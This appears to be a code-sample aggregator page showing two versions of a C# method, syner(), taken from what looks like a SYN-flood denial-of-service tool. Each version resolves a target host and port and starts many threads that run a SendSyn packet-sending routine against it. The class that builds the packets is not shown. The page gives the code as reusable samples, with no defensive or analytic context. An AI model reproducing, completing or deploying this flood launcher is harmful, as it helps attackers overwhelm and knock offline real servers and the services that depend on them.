Esempio n. 1
0
 public static void syner()
 {
     try
     {
         ipend = new IPEndPoint(Dns.GetHostEntry(host).AddressList[1], port);
     }
     catch
     {
         ipend = new IPEndPoint(IPAddress.Parse(host), port);
     }
     thrd      = new Thread[synint];
     thrdstart = new ThreadStart[synint];
     sndsyn    = new SendSyn[synint];
     for (int i = 0; i < synint; i++)
     {
         sndsyn[i]    = new SendSyn(ipend, loc);
         thrdstart[i] = new ThreadStart(sndsyn[i].synthrd);
         thrd[i]      = new Thread(thrdstart[i]);
         thrd[i].Start();
     }
 }
Esempio n. 2
0
        private void syner()
        {
            try
            {
                ipend = new IPEndPoint(Dns.GetHostEntry(host).AddressList[0], port);
            }
            catch
            {
                ipend = new IPEndPoint(IPAddress.Parse(host), port);
            }
            thrd = new Thread[synint];
            thrdstart = new ThreadStart[synint];
            sndsyn = new SendSyn[synint];

            for(int i = 0; i < synint; ++i)
            {
                sndsyn[i] = new SendSyn(ipend, loc);
                thrdstart[i] = new ThreadStart(sndsyn[i].synthrd);
                thrd[i] = new Thread(thrdstart[i]);
                thrd[i].Start();
            }
        }